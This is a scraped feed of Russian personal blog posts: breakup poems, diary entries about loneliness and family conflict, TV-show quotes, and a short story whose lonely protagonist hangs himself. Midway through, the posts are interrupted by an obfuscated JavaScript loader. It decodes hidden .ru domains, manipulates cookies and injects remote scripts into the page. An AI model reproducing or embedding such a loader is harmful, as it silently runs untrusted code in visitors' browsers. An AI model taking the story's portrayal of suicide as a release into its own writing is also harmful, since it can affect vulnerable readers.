Все так же тоскливо, все так же хреново.
Мы были родными - сейчас незнакомы.
Все так изменилось, мне нет уже дела,
Сначала все снилось, была на пределе.
Сейчас же попроще, но так одиноко,
Вроде забила, а вроде и плохо.
Мы очень любили, но все изменилось.
Чувства остыли, сердце разбилось.

И мы так высоко, стой со мной босиком, крепко обнимай, целуй с языком

gifs by х

Эдди Тоун | Флэш 1х23

ненавижу сценаристов. это же просто… в общем, пойду в уголочке порыдаю Т_Т

gifs by х

Эдди Тоун | Флэш

самый милейший парень. и почему с такими всегда случается самое худшее?!! я буду за ним скучать.

Человек должен хоть раз в жизни оказаться в кромешной глуши, чтобы физически испытать одиночество, пусть даже задыхаясь при этом от скуки. Почувствовать, как это - зависеть исключительно от себя самого, и в конце концов познать свою суть и обрести силу, ранее неведомую.

я мечтала, что ты вернешься, я почти что сошла с ума.

я всегда выбирала прошлое - и не знала, зачем жила.

я хочу рассказать, как больно отпускать то, что не твое.

и что сыплют на раны солью те, кто боли не признает.

за тебя я молилась, глупо разбивая колени в кровь.

ты всегда заходил без стука,

ты всегда уходил без слов

залезть ночью в ледяной бассейн? без проблем! разбить коленку, пока бежишь переодеваться? сделано! уломать шашлычника из соседней кафешки разжечь нам мангал? легко! вечер в чисто ижевской компании прошел на "ура". смею надеяться, что фотоаппарат, несмотря на улыбающиеся коньяком глаза, сделал хотя бы пару снимков этого светлого вечера.

gifs by х

Барри Аллен, Эдди Тоун и маленький диванчик | Флэш

Отлично погуляли, прям ног не чувствую. Насмеялась я, наверное, на год вперед. А остальное останется за кадром) expelliarmus спасибо тебе ещё раз)))

gifs by х

The Flash | "Fast Enough" 1x23

ааааа, я досмотрела Флэша. и я хочу еще. нечестно так заканчивать на самом интересном. да еще и с убийством любимого персонажа. ну почему Эдди?!!! я в печали с этого. эх, и второй сезон еще столько ждать….

Представь, что ты журналист. Тебе надо написать список вопросов для интервью. Интервью ты будешь брать у себя. Напиши не менее 10 вопросов к себе.

1. Что заставляет вас чувствовать себя счастливым?

2. Что для вас любовь?

3. В какой стране вам бы хотелось жить?

4. Самое важное в жизни это…?

5. Кем бы вы хотели быть в прошлой жизни?

6. В чем суть гармонийных отношений?

7. Если бы в мире была всего одна книга, какая это книга?

8. Любимая цитата?

9. Если бы была возможность выбрать вторую профессию, какую выбрали б вы?

10. Когда можно назвать человека Человеком?

Привет. Я вот только вернулась из деревни. уехала в вот в эту субботу, вернулась сегодня. я бы еще осталась, но цивилизация манит меня своими благами. Конечно, все гладко не может быть и нам с бабушкой в последний день, то есть сегодня, подгадили настроение родственники. Это все слишком долго и не интересно объяснять, скажу лишь, что родственники, особенно настолько близкие, так друг с другом не поступают. Это свинство какое-то. Да и пес с ними! Бог им судья! и вот вернувшись домой, я не знаю чем мне заниматься. Уж вроде бы и на учебу бы пошла. Может быть еще как-нибудь в деревню съезжу. Хотелось бы еще на "Человека-муравья" сходить. Надеюсь, получится.

—Что бы ты хотела от жизни?
-Домик у моря с видом на настоящего мужчину.

Валиуллин Ринат "Где валяются поцелуи"

вот я тут осознала, что всем бабам нужна какая-то драма в жизни

вот вроде все нормально, ничего не происходит, такая некая стабильность в жизни, обыденность

но неееет

нам спокойно не живется

надо напридумывать всякой хуеты, залезть куда поглубже в прошлое и сидеть над этим корячиться и ныть

в топку!

дорогие дамы, живите настоящим и радуйтесь тому, что имеете

или кого

а прошлое пускай там и остается

в прошлом

Сэм: У меня теория. Врач утверждает, что рана зашита шелком.

Дин: Чудно.
Сэм: В наши дни — да, а вот в начале 19 века шелковые нити пользовались успехом у хирургов. В те времена пациенты мёрли от инфекций, как мухи!
Дин: Кошмар!
Сэм: Точно! Так вот, врачи боролись с заражением, в том числе, использую опарышей.
Дин: Сэм, я ем…
Сэм: Опарыши ведь поедают отмершую ткань, но не трогают здоровую. Так вот, у нашего приятеля брюшная полость оказалась забита червями!
Дин: Сэм! Я ем!

по-настоящему надо любить только себя, семью и выходные; а мудаков, разбивших ваше сердце - нахуй.

подстригла волосы, вышло слишком коротко. сначала подрасстроилась, а потом плюнула - вырастут ведь! к тому же десять лет с длинными ходила, надо же хоть так попробовать. завтра едем на море, представляю, что начнется, когда все увидят. "тебе было лучше с длинными", "посмотри у Алины какая красота!" и кокококо…

мои волосы, что хочу, то и делаю.

гоу: 3

Я пойду остановлю страшного серого волка.

Большей чуши в жизни не говорил.

возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьмивозьми себя в руки, возьми себя в руки, себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки, возьми себя в руки,

ты не хуже остальных

Я просто звикла так жити. Так коли ти є тільки 2 місяці на рік. Бо я люблю тебе.

очень боюсь оказаться простушкой в глазах А. не хочу даже отбивать всех его телок, либо только я, либо пока. не собираюсь стоять в очереди за ним, и ждать когда он освободится, чтоб на некоторое время заполнять его свободное время
я хочу, чтобы меня любили

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="19416", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/pjs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

Пост про "Когда теряешь любимого человека это смерть и эту смерть надо пережить". Там мы еще вместе были, как смешно с себя. Дура. До сих пор умираю. Делаю вид что жива, что живу, что стараюсь жить. На самом деле уже нет.

после того, как первый раз я занялась сексом, сделала лишь один вывод: надо спать с тем, от кого как минимум хочешь ребенка.

Помню, как школьный трудовик сказал нам: "Жизнь — это вам… не это". И знаете, с тех пор ни одна философская система не смогла опровергнуть эту гармоничную концепцию.

Смотришь фотографии — какой хороший человек. Встречаешь в жизни — мразь. Один и тот же человек, кто бы мог подумать.

«Так а нахуя ты продолжаешь эту хуйню?» — прогремел философский вой с улицы, заставивший меня в смятении привстать на секунду с дивана.

Хочу такого покемона, который бы за меня ходил на работу, я не знаю, Трудягон какой-нибудь. С эволюцией в Начальникона и Гендирона.

Это раньше приходилось вырывать себе сердце, чтобы осветить людям путь. Сейчас всем достаточно света от экрана смартфона.

My Pale Skin - "You look disgusting"

"Ты выглядишь отвратительно"

"Пользователь YouTube, скрывающаяся под ником My Pale Skin ["Моя бледная кожа"], несколько месяцев назад начала публиковать в социальных сетях собственные фотографии без макияжа, и за это время успела получить десятки не самых позитивных комментариев. Она собрала их в одном ролике с тем, чтобы продемонстрировать, как ложные образы совершенства и нереалистичные стандарты красоты могут навредить самооценке человека. Ее цель довольно проста и прозрачна — показать, что ненавистники всегда найдут повод ненавидеть. До тех пор, пока вы любите себя, ничто другое не имеет значения. "

Это видео произвело на меня сильнейшее впечатление. Я просто плачу. У меня тоже проблемы с кожей и я несколько лет не могу избавиться от этого. Очень выбешивает, когда тебе советуют какие-то маски, средства от прыщей, и ты говоришь, что уже пользовался этим, но оно не помогает. Но людям все равно на это. В нашем обществе принято вешать ярлык на человека по внешнему признаку. " Уродливый ", " отвратительный ", " некрасивый ", " толстый " … Все это - лишь оболочка. Но никто никогда не посмотрит тебе в душу. По-этому нужно научиться любить себя таким, какой ты есть.

ТЫ ВЫГЛЯДИШЬ КРАСИВО КРАСИВАЯ (-ЫЙ)

видео (x)

Было бы интересно почитать ваше мнение об этом видео. Буду рада увидеть ваши комментарии :)

Желаю вам полюбить себя, если вы этого еще не сделали!
♥ спасибо ♥

На самом деле я неплохо съездила. В первые дни Нижний Новгород совсем не радовал погодой. Дождь, холод.

Зато последние дни были более или менее солнечными.

Ну и набережная Йошкар-Олы, как всегда.

Instagram

Ask

в одни уши вливается вода с калюжи
ты говори, а я буду слушать
вяжут рты Одессы мосты
если сегодня, опять, никого не послушав
сквозь дым различаю ходы
-то
виноват
ты
если три сигареты за день- это не шалость
в ночь до утра ждать до рассвета
правду о том -"засыпаешь?" и "где ты? "
мысленно в скулы твои и подолгу
" я бы осталась, я бы осталась.. "
standing by your side
видно сегодня от моей мечты
все меньше осталось
но если сегодня мы бы расстались
я бы шептала i will be there
неважно ли против
anyway
anyway
anyway wiil be there

забыть - это лучшая месть

Пиздец, с утра папа истерики закатывал, сейчас мама начала. Что за хуйня? Воспитывать меня надо было до 12 лет, а вы бухали и все, о чем думали - гулянки. А теперь я уже все. Теперь гулянки ждут меня. И так долго они длиться не будут. Мои дети не будут лицезреть меня бухой ежедневно.

Хотя вообще не хочу детей. Хочу быть вечно одна, чтобы никто не доебывал.

Сейчас я расплачусь и опущу руки

Мне однозначно нужно появляться здесь почаще. Ведь я собираюсь заняться самоанализом, изучать свои ошибки, разобраться в запутанных нитях, которые просто обволакивают мою светлую голову и душу. А в общем хочу оживить своё родное местечко. Я люблю писать о своих чувствах, о своей жизни. Такая вот маленькая история маленькой жизни. Не хочу делать длиннопост. Пускай тот провал так и останется ямой. Не хочу этому уделять время, лучше двигаться вперёд. Что самое главное - я остаюсь дома, буду учиться здесь. Ездили с парнем в другие города, хотела там сдавать творческий конкурс. Но я забыла одну "важную" бумажку, без которой мне "нельзя" рисовать и поступать. Странная комиссия там, довольно. Не понимают, что человек приехал к ним так далеко, ради этого места, где, как оказалось, кроме задницы ничего и не могут показать. Мои нервы сдали и я плюнула на всю эту контору и вернулась. Вернулась совсем другим человеком. А это всего лишь два дня прошло. Вот как простая поездка может всё перевернуть. Но я рада такому повороту событий. Очень-очень рада.

Комары нынче шустрые пошли. Пока я замахнусь, они уже выпьют моей крови и смотаются подальше.

Люди, словно комары.

блять, так страшно. так страшно, что я не смогу больше полюбить человека хотя бы настолько, чтобы сблизиться с ним. ебаная моногамность.

меня конечно жизнь ебала и ебет по сей день, но видимо не достаточно, чтобы слушать песни Максим- трудный возраст

Пока любишь кого-то всем сердцем, — в твоей жизни еще остается надежда. Даже если вам не суждено быть вместе. Харуки Мураками "1Q84"

Так тошно от того, что я всё так же скучаю по тому времени. По времени когда мы дружили. По тем каждодневным перепискам… Хотя, может я просто скучаю "по дружбе"? Просто по дружбе с кем-то, потому что её попросту нет. Мне некому написать, что Гага уже не та, какие клёвые басаножки я сегодня видела на девушке, да чёрт побери, просто написать о какой-нибудь херне. Прям хочется плакать от этой безнадёги, уткнувшись в подушку орать

Привет.

С момента как вернулась домой прошел месяц. Прошлый пост был постом дикой ненависти к себе. Иногда требуется скинуть личины, вывернуться наизнанку и сказать себе - " Я вижу тебя настоящего ". Обдумать это. Менять. Менять - это то, что действительно требуется, но вот, работать над этим - это то, что предстоит и то что будет. Т.е. результат видится как уменьшение отрицательных черт моего характера. Работа над последствиями этих черт.

Всё это появилось в следствие того, что меня не устраивает то, что я ему просто друг. Дело в следующем, как я уже говорила, я безумно счастлива нашей дружбе. Я знаю, что случается если мы заводим разговор о " Нас ", как о чем-то большем и именно эта его неловкость в такие моменты режет по мне, угнетает. Я начинаю думать, что я неблагодарная, эгоистичная.

Что будет итогом, на самом деле, при отказе от, так называемых, отрицательных черт? Разлюблю. Я действительно этого хочу? Стоп, почему разлюбить? Потому что мне так будет проще. Его ведь никто не посвящает в пиздастрадания, хоть он и умный мальчик и может их уловить, но всё же. Я не могу до конца отказаться от него и из-за этого считаю, что моё эго овер 8000.

Другая сторона. Он загоняется зная, что ему уготовлено. Он однолюб. Бывшую мы вспоминали в этом месяце три раза. За полтора года общения до этого - один. Но после вчерашнего разговора я четко нащупала маску. Он пустил. Я стала ближе и знаю больше о нём, тут появились корыстные помыслы для себя. Я не могу просто взять его и отпустить. Кто-то внутри меня орёт, что он - это моё. Помыслы такие - развеять миф о судьбе. Отогреть. Создать условия, когда он сможет разрешить себе быть счастливым. Именно разрешить. Его счастье делает меня счастливой. То что предполагает он для себя - его самого не радует, он просто верит в то, что это неотвратимо и закрывается ото всех, упускает жизнь, думая о том, к чему придёт.

Если я отпущу его, то я его убью. Даже если он ошибается, я готова играть по его правилам, потому что есть страх потерять его навсегда.

Я тоже вижу противоречия самой себе. Я просто запуталась и мне нужно ещё раз подумать обо всём.

Есть у меня одно воспоминание, ему лет десять Порой, когда я этого совсем не жду, оно впечатывается в мои мысли и колом перед глазами встаёт

Много думаю в последнее время о следах, которые оставляют людив жизнях других, если вообще оставляют. И почему одни оставляют, а другие нет. Моя коллекция таких следов довольно разнообразна. Кто-то вошел ненадолго и заставил сменить мировоззрение. Кто-то оставил после себя три-четыре музыкальных композиции. Или два-три слова, которые стали своими. Или чемодан. Кто-то изменял так, что навсегда научил быть верной. А кто-то так объяснял любовь, что, даже любя, не захочется говорить это слово вслух, настолько оно теперь испорчено. Кому-то спасибо, что был, кому-то спасибо, что больше нет. А кто-то исчез как не было, и ни слов нет про это, ни сожаления. Удивительно.

Уже темно, и ручку я беру,
чтоб записать, что ощущаю вялость,
что море было смирным поутру,
но к вечеру опять разбушевалось.

Иосиф Александрович Бродский

Самое ужасное, что живу вечно ожиданием воскресенья, потому что у кое-кого выходной. И так неделя за неделей. Меня так всё это заебало, что порой хочется послать всё нахуй. Но, нельзя, нужно быть сильной. Нужно просто переждать.

Какая-то депрессулька вновь пришла в мою жизнь, хочется просто пропасть куда-то, чтоб не трогал никто. Не хочу никому писать и отвечать.

фотография, бессердечная ты стерва. порой взглянешь на изображения фотографические человеческого лица да тела, а они и не вызывают никаких тебе приятных чувств, однако в жизни и не нарадуешься какая привлекательная внешность.

Відпускайте усіх хто йде з вашого життя. Зазвичай, коли ми чуємо ці слова то думаємо « як легко говорити »…. Але знаєте, що я вам скажу, насправді це так само легко зробити, як і говорити. Живіть з принципом не затримувати у житті тих людей, які у ньому бути не хочуть. Повірте, якщо людина не робить крок назустріч до вас, вона просто не хоче цього. Скільки б ви не намагалися, що не робили б. Це істина. А чи хочете ви боротися за когось, кому це не потрібно? Адже, навколо вас є люди, які вас люблять та потребуть. А ті хто мають бути вони будуть! Кожна істина проста, так само як і правда. Навчіться приймати ситуацію такою, яка вона є, не живіть в очікуванні чи тримаючись за когось… відпустіть, і тоді ви почнете жити у гармонії з собою та оточуючими, відпустіть… і тоді дійсно ваше – буде з вами.

и в определенный момент ты понимаешь, что не представляешь каким будет жизнь без него. Вернее представление приходит. И ты чувствуешь всю адову тонну боли и одиночества. И думаешь, что не сможешь после этого пустить в сердце еще кого-нибудь. И уже жалеешь что пустил.

Hate their loving eyes
Wishing it was you and I

Люблю тебя без права на любовь,
Без права на звонок и переписку,
Без права потревожить твой покой,
Когда ты спишь или читаешь книжку…

Без права называть себя женой,
Без права засыпать в твоей постели…
Я даже научилась БЫТЬ ВТОРОЙ,
Свои амбиции поставив на колени…

Я научилась твоей жизнью жить,
Без права быть её весомой частью…
А может…нам всё круто изменить,
Стать ''кузнецами'' своего же счастья?!

Как восхитительно мечтать в таком ключе!
Я беззаботная весёлая девчонка!
Желаю полностью принадлежать ТЕБЕ!
Носить под сердцем твоего ребёнка!..

…Вздохнём…задум­аемся…каждый о своём…
Реальность жёстко вносит коррективы…
Законного нет права на любовь…
А РАЗЛЮБИТЬ ТЕБЯ ЗЕМНОЙ НЕ ХВАТИТ СИЛЫ!!!

Взяла сегодня книгу почитать "Гранатовый браслет" Куприна. Уже начала, ну довольно таки интересно. Хотела у вас спросить, а что читаете вы? Посоветуйте, а то я чувствую мой мозг скоро перестанет мыслить, надо его напрячь!

на фотографиях где-то годичной давности,
нам не найти себя, посреди зимы
в Небе случились странные неисправности:
бог нас сломал
или сломались мы?

Я хотела тебя ненавидеть
И не знать, как твои дела
Я боялась тебя увидеть,
Я боялась, но так ждала

не напишу ни одного сообщения, если напишу - сотру.
кажется, я тебя разлюбила, в среду, поутру.
когда снег хрустел под ногами, я случайно так поняла -
я слишком долго терпела и не понятно чего ждала.

Ты не подаришь мне больше лилий,

Что бы замазать свои грехи.

Вероятно, она красивей,

А я просто пишу стихи.

Вероятно она стройнее,

Или выше - не в этом суть.

Уходи - раз тебе с ней светлее,

А я справлюсь уж как-нибудь.

я к тебе уже не приеду.
ты, наверное, слишком остывший
я просто до сих пор так надеюсь,
что ты без меня не дышишь

и билеты отдам я обратно.
ты меня никогда не увидишь
ни вчера, ни сегодня, ни завтра
я люблю, но порой ненавижу

Я уже давно хотела написать о том, что «Ура, я теперь бакалавр!» .

В день получения диплома меня переполняли эмоции. Конечно, это не сравнится с окончанием школы, нет. В университете я страдала всего 4 года, а не 11. Но было радостно ощущать себя выпускницей и пытаться осознать что я теперь, прости господи, юрист.

А вот теперь я печатаю и думаю – а чему радоваться-то? Но это, на самом деле, не пост уныния. И я не буду тут размышлять на тему, что теперь мне прямая дорога в МакДак. Потому что надеюсь, все-таки, что нет. Хотя и юристом я себя совсем не вижу.

Просто хотелось похвастаться тем, что еще вот совсем немного, полтора года (чертова магистратура), и Добби будет полностью свободен!)

и так по-женски спуститься низко,
и так по-детски бояться крови.
какой ты нахуй родной и близкий,
когда калечишь на каждом слове?

ты прячешь руки в карманы.
я знаю - холодные пальцы.
смотрю и не понимаю,
спасать тебя или спасаться.

бессонницей дрогнули веки.
скрываешь застывшие взгляды.
молчишь, улыбаешься редко.
- мне легче, когда ты рядом.

для тебя - поезда под откосы.
одиночество - вечный срок.
это страшно, когда тебя просто
в целом мире никто не ждёт.

я больше не хочу никого. я боюсь. знаю, чем все закончится. тем, что я буду брошена, не просто "мы расстались", а выброшена. тем, что я буду, как сейчас, реветь, в темноте, тихо - тихо, чтобы никто не слышал. тем, что внутри будет жуткая боль, такая, что реально захочется убиться - просто терпеть невозможно. а потом все эти кусочки себя опять собирать… двое - это уже много. мне больше не нужно.

— Если у тебя есть друзья, значит, есть и семья.

— Моя последняя теория? Возможно, я Бог. Я слишком долго не обращал внимания на знаки.

— Это называется химия. И она у меня со всеми.

— Я огромный, а уровень сахара в моей крови на нуле. Я убью тебя в этих фрисби, и никто никогда не сможет тебя найти.

— Я не выдвигал себя на роль лидера, Трой. Я без особого желания принял эту, повешенную на меня, обазанность.

я в критическом состоянии
кома.
душевный инсульт.
вот до чего доводят скучания
вот где теряется пульт.
вот на каком промежутке времени
нервным клеткам стало плевать
здесь потерялся пульт управления
нервы хотят умирать.

вот на какой обожженной местности
взгляд опустел и потух
мне наплевать на степень честности
чье стадо вы?
кто ваш пастух?

именно в этой стадии смертности
внутренний бой
угас
не кому биться
внутри пора бедности
жаль, ты меня не спас.

Если у Вас возникли вопросы, то прошу https://sprashivai.ru/Masha_Persik

если я когда-нибудь прекращала с тобой дружбу и не разговаривала, дело в не в тебе, а во мне. я очень дерьмово поддерживаю связи с людьми, но все еще люблю тебя

момент, когда записываешь очередную песню, прослушиваешь ее в наушниках в попытках не сойти с ума от ужаса качества звука и голоса, и наушники окончально ломаются

я написала "прощай".

Я одна из тех кто заболел летом..Объясните мне ка?ну как блять можно заболеть в 40 градусную жару, а вот как..На улице стояла адская жара по 40 градусов и так уже продолжалось почти неделю..Ни намека на дождь или на уменьшение температуры не было.Ну и вот я решила спасать себя как только можно и в один из таких дней я решила побаловать себя мороженкой.Моему счастью не было предела(так сижу на диете и о сладостях вообще речи быть не может), но все поменялось же на следующий день.Прснувшись этак часов в 6 утра от дикой головной боли я поняла, что помимо нее у меня заложен нос и болит горло.Я еле соскребла себя с постели, но в скоре поняла что у меня дикая слабость и единственное что я смогла сделать это дотащить свое тело до туалета и вернутся обратно в кровать.Весь день пролежала овощем, так как сил не было вообще не для чего..Спасибо моему младшему брату, что не дал умереть с голода старшей сестре..Подведем итоги.Сейчас все мои знакомые ездят на речку, гуляют и веселятся, а я лежу в постеле, наматываю сопли на кулак, пью лекарства и вспоминаю это мороженое..

Сей поцелуй, дарованный тобой, преследует моё воображенье: и в шуме дня, и в тишине ночной я чувствую его напечатленье! Сойдёт ли сон и взор сомкнёт ли мой, - мне снишься ты, мне снится наслажденье! Обман исчез, нет счатья! И со мной

одна любовь, одно изниможенье.

через 5 дней мое день рождение и Я хочу чтобы все сложилось оочень удачно в этот день, чтобы все кого я хочу пришли, чтобы моя подруга все таки смогла выпить(хотя понимаю что ей нельзя), чтобы всем было весело, чтобы еды всем хватило :D в том числе шашлыка))) ), чтобы я смогла купить к нему все что планирую, чтобы была хорошая погода и никакой дождь и ниже +20 градусов не испортили этот день. короче я хочу чтобы все было в самом лучшем виде:3

Не понимаю парней, что говорят "Смотри какая соска!".

Я понимаю, что имеется ввиду то, что она член сосет. Но если подумать, то не девушки соски, а вы и я. Потому как они нас сосут.

Так что в лучшем случае соской выступают именно парни, в худшем случае минетики им не делают.

не бывает случайных знакомств в интернете,
и в супермаркетах аварий тележками тоже.
нет случайности на третьей от солнца планете,
это все нужно было кому-то, похоже.

человек - это кадр из фильма магии судеб,
тот, кто захочет понять - тот поймёт.
если поезд должен прибыть - он прибудет,
тот кто должен уйти - тот уйдёт.

-Мы прокляты! -Вы не прокляты, вы женаты… (С) секс в большом городе

ладно, ладно, всё настолько странно, что это просто так не описать словами. сегодня наконец-то смогла выспаться, хотя, когда проснулась, была жутко опухшей. целый день проходила в таком состоянии. это немного жесть, но я рада, что провела этот день именно так. думаю, что теперь опять пора заняться какими-нибудь делами. не знаю, что будет на этот раз, но явно что-нибудь интересное. ещё хочу полностью обновить свой гардероб, ибо практически все мои вещи Настя уже переносила, а мне это совершенно не нравится. так вот, я уже примерно знаю, какие вещи я очень хочу, некоторые из них хочу заказать с али, поэтому жду, когда мы с Аней пойдём на работу, вернее просто раздавать листовки. хотя бы так, зато деньги будут.

отношения с людьми - странный предмет. потому что люди, они сами по себе странные. один раз делают одно, в другой раз другое. интересно, как всё будет происходить дальше, но надо запомнить одно: никогда не рассказывай людям что-то личное , ибо потом будешь жалеть, что доверилась им. поэтому сейчас надо снижать рассказы про свою жизнь на минимум. но по сути некому и рассказывать. сейчас же со мной остались всего лишь пару человек. но всё же, самым дорогим и понимающим остаётся один человек. и ещё один человек на подхвате. в общем, реально, пора завязывать с людьми, хотя бы на лето. потому что в универе надо быть наоборот более открытой, я так думаю. а если не получится, то нафиг надо вообще? пока у тебя есть люди, которых ты любишь и которые любят тебя, остальное не имеет смысла. очень рада, что такие люди всё же есть в моей жизни.

ш spend my money on the regular miracles, just like you, like me, like everybody else. up on the sun looking sad and beautiful, just like you, like me, like everybody else.

как бороться с этими мыслями, о том что я навсегда останусь одна? сегодня снова был такой разговор и мои ответы были больше похожи на навязчивую идею "он последний, в принципе последний, то есть больше никого не будет, и свадьбы моей ты недождешься, потому что никого не будет, я никому не нужна, ну и естественно не буду…" и все в таком духе. я просто боюсь, что это скорее с ума сведет, чем поможет…

А что?
Нет, ну правда, давай?
Я буду с утра заваривать чай
В твоей футболке
Мои стихи в переплётах на полке
И ещё фотки
Твои глаза цвета «май»
И ты уже никуда не уйдёшь
Обещай

стараешься выть тише,
улыбаешься маленьким детям,
но он тебе не напишет

он к тебе
не
приедет

Просто не хочу ничего писать.

Мартин.

Мартин не знал в этом городе никого. Он был один. Ни одной знакомой улочки, ни дома, ни сквера, ни парка, ничего. А в душе огромная дыра от гаммы смешанных чувств. Он чувствовал как мурашки, пробегая по периметру тела, находили укромный уголок в голове и даже заводили дружбу с тараканами. Теперь они, сытые его переживаниями, аплодировали, лежа на спинках, и даже не пытались подняться. Он приехал в этот город за новой жизнью и вдохновением, а нашел только одиночество.

Его нервы превратились в водосточные трубы, и каждый раз гремели от натиска извне. Мартин чувствовал себя слепым. Он ничего не видел перед собой. Ему приходилось вытягивать руки, чтобы посмотреть, кто перед ним. Но когда руки были вытянуты… Он не нащупывал ничего.

В этом городе он сделал, как ему казалось, свое самое важное заключение - человек склонен переоценивать значение себя в жизни других людей. Ему кажется, что без него перестанет планета вращаться, океаны высохнут, по нему прольют 6 литров слез и будут всегда ждать, когда он возвратится. А нет. Тебе всегда будет замена. И, крепко выбив эту мысль у себя в голове, Мартин стал ненавидеть людей всеми фибрами своей души.

А одиночество съедало по частичке этой самой души каждый день, и незаметно для себя самого, Мартин стал злым и замкнутым. Он уже не так восхищенно смотрел на некоторые вещи. Уже не щемило в сердце, и ни одна вещь на свете не могла заставить его глаза сиять как прежде. Мир казался ему несправедливым и пустым.

Часто, разговаривая сам с собой, он спрашивал: «Почему я? Бог, если ты есть, чертов ты ублюдок. Чем тебе я насолил? Почему своей игрушкой ты выбрал меня?»

И в этих, преисполненных желчи, рассуждениях душа его становилась непреступной, а взгляд затуманенным. Он уже не видел никого и ничего. Людей, находившихся рядом, презирал, а тех, что пытались пробиться сквозь стены его замка, ждала холодная усмешка и, свойственные ему, шутки не к месту. По каждому поводу.

Но каким-нибудь вечером в середине недели он садился на кухне, много пил и много курил, стараясь заглушить то дикое одиночество, что просыпалось в еще не до конца умершей душе. Мартин ненавидел это чувство. Но незаметно для себя, со временем, оно стало приносить ему какое-то состояние покоя и удовлетворенности. Он полюбил своё одиночество, стал воспринимать его как старого друга, приветствуя очередными вечерами за стаканом.

Вопреки домыслам людей, знавших Мартина, он не спился. Хотя, были и те, кто этого страстно желал. Вместо этого он, выходя в свет, высоко задирал голову, напускал на себя вид небрежного человека, которому абсолютно плевать на всех и вся. В этой броне он скрывал свое одиночество, уверенный в том, что люди воспримут его чувства за слабость.

Горькая досада и разочарование ждало его и в женщинах. Окончательно убедив себя в том, что каждая из представительниц хочет только использовать его, он стал пользоваться в ответ. Природа наградила Мартина обаянием и той самой ноткой, которая сводила женщин с ума. Но..увы…и тут его поджидало только липкое чувство мерзости. Он получал каждую. И поэтому ему было скучно и постыло. Ни одна не задерживалась у него дольше, чем на одну ночь.

В первое воскресенье сентября Мартин проснулся от яркого луча солнца на своем лице. И тут ему показалось, что жизнь переполнена яркими красками и людьми, он чувствует себя таким живым и переполненным энергией. Кажется все под силу, а все, что было прежде – лишь сон.

Но это не так. Это лишь чудится. Мартин, как и все остальные, кто попал в цепкие лапы одиночества, пытался убедить себя, в том, что он не одинок.

Говорят, мол, когда опускаешься на самое дно, то легче всплывать. В последний понедельник октября Мартин официально достиг дна: его уволили с работы, он окончательно растерял друзей, та, малая горстка людей попросту испарилась, все желания и мечты растаяли. Он пытался почувствовать радость, грусть, симпатию, гнев, ненависть или что-нибудь еще, но у него ничего не получилось.

В среду, в ноябре Мартин повесился, потому что впервые в истории его нескончаемых попоек и рассуждений самим с собой о том, каким мизерным может быть человек в масштабах вселенной, он так ярко осознал, насколько все в мире тленно, что стало грустно и одиноко как никогда раньше.

Это был один из тех дней, когда мир показал всю свою сущность. Жестокий, беспощадный и оставляющий на душе огромные шрамы недоверия, пощечины предательства и прикосновения горечи. В этот момент Мартин ощутил себя совершенно бесполезным.

Его пробрала дрожь, и захотелось спрятаться от всего, завыть, закричать, захотелось кому-то рассказать о своих чувствах. Только вот некому. Нет никого рядом. Он один.

Мартин почувствовал слабость, не минутную слабость, а одну большую черную дыра внутри, которая с каждой минутой, с каждой секундой становилась еще больше чем прежде и заполоняла всё. Он устал бороться со всем этим.

И впервые в жизни, отталкивая табурет, Мартин почувствовал себя свободным.

P.S. Первый раз, на ваш суд. Свой небольшой рассказик. Скажите что-нибудь в ответ - мне важно ваше мнение.

Призраки прошлого не отпускают. Стояла в магазине на кассе и показалось, что за соседней кассой стоит К. Сердце так и екнуло. Прошло уже 5 лет. Прошлое должно оставаться прошлым, но этот город не дает забыть.

теперь я знаю: всё когда-нибудь остынет,
идите к чёрту с вашим «навсегда» —
я предпочту стреляющих мне в спину,
чем тех, кто беспощадно врёт в глаза

Меня учили всегда быть прилежной.
Не бросаться на первых встречных.
Не загораться пустой надеждой.
Ведь ничего не бывает вечным.

Мне говорили «все лечит время».
Мол, все заштопает, перебинтует.
Да только, знаете, я не верю,
что время лечит его поцелуи.

